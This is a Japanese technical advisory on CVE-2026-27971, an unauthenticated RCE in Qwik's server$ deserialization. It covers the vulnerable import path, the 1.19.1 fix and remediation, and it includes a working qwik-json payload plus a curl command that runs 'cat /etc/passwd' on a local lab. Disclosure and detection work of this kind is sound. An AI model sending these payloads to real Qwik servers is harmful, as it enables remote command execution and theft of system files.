当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

セキュリティ

セキュリティ

CVE-2026-27971:Qwik server$ の認証不要なリモートコード実行

Qwik(< 1.19.1)に存在するCVSS 9.2のクリティカルな認証不要リモートコード実行脆弱性、CVE-2026-27971の技術的解説です。server$ RPCフローにおける安全でないデシリアライゼーションにより、攻撃者が制御するQRLオブジェクトがapplication/qwik-jsonリクエストから再構築され、任意のモジュールパスとシンボルの解決が可能になります。require()が利用できる環境では、細工されたサーバーサイド関数の呼び出しを通じてリモートコード実行に至ります。

CVE-2026-27971

Qwik server$ の安全でないデシリアライゼーションによる認証不要なRCE

2026年3月12日 · CVSS 9.2 クリティカル · Qwik < 1.19.1

CVE ID CVSS 影響を受けるバージョン 修正済み
CVE-2026-27971 9.2 クリティカル < 1.19.1 1.19.1+

CVE-2026-27971の概要:server$ RPCのデシリアライゼーションを介したRCE

Qwikのserver$ RPCメカニズムはapplication/qwik-jsonリクエストを受け付け、攻撃者が制御するオブジェクトを実行中のランタイム値へとデシリアライズします。脆弱なバージョンでは、このデシリアライゼーション経路によって、任意のモジュールパスとシンボル名を指すQRLが再構築される可能性があります。サーバーサイドのランタイムにネイティブのrequire()がまだ利用可能な場合、フレームワークのサーバーインポート経路が悪用され、攻撃者が選んだCommonJSモジュールが読み込まれ、攻撃者が制御する引数でエクスポートされた関数が呼び出されます。

この問題は、脆弱なサーバーサイドのserver$フローが到達可能で、かつ実行時にrequire()が利用できるデプロイに影響します。これはQwik 1.19.1で修正されており、同バージョンではサーバーインポート経路が信頼できないQRL入力に対して遅延動的インポートを行わなくなっています。

実際には、リモートの認証されていない攻撃者が、以下に対して細工したPOSTリクエストを送信できます。

POST /?qfunc=sync
Content-Type: application/qwik-json
X-QRL: sync

そして、サーバーに以下を解決させます。

./node_modules/cross-spawn/index#sync

これにより、リクエストボディがcross-spawn.sync(...)へのリモート関数呼び出しに変わります。

CVE-2026-27971の安全でないserver$解決:Qwik JSONからrequire()へ

脆弱な挙動は、三段階のチェーンとして理解するのが最も分かりやすいです。

1. リクエストボディがQwikの`_deserializeData()`によってパースされる
2. デシリアライズされたQRLオブジェクトが正当な`server$`関数のターゲットとして扱われる
3. サーバーインポート経路が、攻撃者の制御するチャンクを`require()`で解決する

リクエストゲート

サーバーサイドのゲートは単純です。qfuncクエリパラメーター、X-QRLヘッダー、Content-Typeヘッダーが整合すれば、そのリクエストはserver$の呼び出しとして扱われます。

if (
  fn &&
  req.headers['x-qrl'] === fn &&
  req.headers['content-type'] === 'application/qwik-json'
) {
  const data = _deserializeData(body);
  if (Array.isArray(data)) {
    const [qrl, ...args] = data;
    if (qrl && typeof qrl.getSymbol === 'function' && qrl.getHash() === fn) {
      const resolvedFn = await importSymbol(qrl.$chunk$, qrl.$symbol$);
      const result = await resolvedFn.apply(null, args);
    }
  }
}

これは従来のJSON APIではありません。攻撃者はプレーンな関数名と引数を送っているのではなく、Qwikのシリアライズされたオブジェクトグラフを送信しており、それがデシリアライゼーション中に実行中のQRLオブジェクトを再構築します。

なぜこのペイロードが機能するのか

ラボで使用された中核的な悪意あるペイロードは次のとおりです。

{"_objs":["\u0002./node_modules/cross-spawn/index#sync","id",[],["0","1","2"]],"_entry":"3"}

_deserializeData()の後、これは次のようになります。

[
  qrl("./node_modules/cross-spawn/index", "sync"),
  "id",
  []
]

その結果、ランタイムは最終的に以下を呼び出します。

crossSpawn.sync("id", []);

危険なインポート経路

脆弱なサーバーサイドの解決処理は、次のように要約できます。

async function importSymbol(url, symbolName) {
  let modulePath = String(url);
  if (!modulePath.endsWith('.js')) {
    modulePath += '.js';
  }

  const mod = require(modulePath);
  return mod[symbolName];
}

問題は、urlとsymbolNameが攻撃者の制御するシリアライズされた入力に由来する点です。デシリアライゼーションがQRLを再構築すると、攻撃者はモジュールパスと呼び出すエクスポートの両方を制御できます。

CVE-2026-27971の概念実証:リモートコード実行の達成

この問題を安全に検証するため、以下の構成でローカルのDockerラボを構築しました。127.0.0.1:3000上で@builder.io/qwik@1.19.0を用いたqwik-vulnです。

テスト環境

  • docker-compose.yaml
services:
  qwik-vuln:
    build:
      context: ./vulnerable
    ports:
      - "127.0.0.1:3000:3000"

悪用

次のcurlコマンドは、シリアライズされたQwik-JSONペイロードを脆弱なエンドポイントへ手動で届けることで、リモートコード実行を達成します。

curl -v -X POST "http://127.0.0.1:3000/?qfunc=sync" \
-H "Content-Type: application/qwik-json" \
-H "X-QRL: sync" \
-d '{"_objs":["\u0002./node_modules/cross-spawn/index#sync","cat","/etc/passwd",["2"],["0","1","3"]],"_entry":"4"}'

結果

脆弱なコンテナは次を返しました。

curlを用いたリモートコード実行
図1:curlを用いたリモートコード実行

これにより、デシリアライズされたserver$呼び出しチェーンを介したcat /etc/passwdのリモート実行が確認されます。

CVE-2026-27971:Nuclei検証テンプレート

ローカルでのテンプレート検証のために、idベースのNucleiテンプレートを作成しました。

Nucleiテンプレートによる検出の検証
図2:Nucleiテンプレートによる検出の検証

脆弱なターゲットの検証:脆弱なラボは期待される条件を満たします。

  • HTTP 200
  • レスポンスヘッダー内のapplication/qwik-json
  • uid=,gid=に一致するコマンド出力

CVE-2026-27971:Qwik 1.19.1での修正

パッチ適用後の挙動は、サーバーランタイムから危険な動的インポート経路を取り除いています。任意のチャンクをrequire()で解決する代わりに、サーバーサイドのインポートルーチンはフェイルクローズします。

async function importSymbol(_url, symbolName) {
  const regSym = global.__qwik_reg_symbols?.get(getSymbolHash(symbolName));
  if (regSym) {
    return regSym;
  }
  throw new Error(`Dynamic import failed for symbol '${symbolName}'`);
}

これが鍵となるセキュリティ上の変更です。デシリアライズされたQRLはデータとしては依然として存在し得ますが、サーバー上での任意のモジュール読み込みにはもはやつながりません。

修正済みコントロールの検証

パッチ適用済みのコントロールに対して同じnucleiテンプレートを実行すると、

Nucleiを用いた修正コントロールの検証
図3:Nucleiを用いた修正コントロールの検証

次を返しました。

HTTP/1.1 500 Internal Server Error
Content-Type: text/plain

Invalid request

即時の修復

  • Qwikを1.19.1以降へアップグレードする
  • ネイティブのrequire()が利用可能なランタイムで、脆弱なserver$ RPC経路を公開しないようにする
  • サーバーサイドのアダプターやカスタムのCJSラッパーが動的モジュール解決を再導入していないかを確認する

参考資料

リソース リンク
Github advisory GHSA-p9x5-jp3h-96mm https://github.com/advisories/GHSA-p9x5-jp3h-96mm
Nuclei Template https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-27971.yaml
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-27971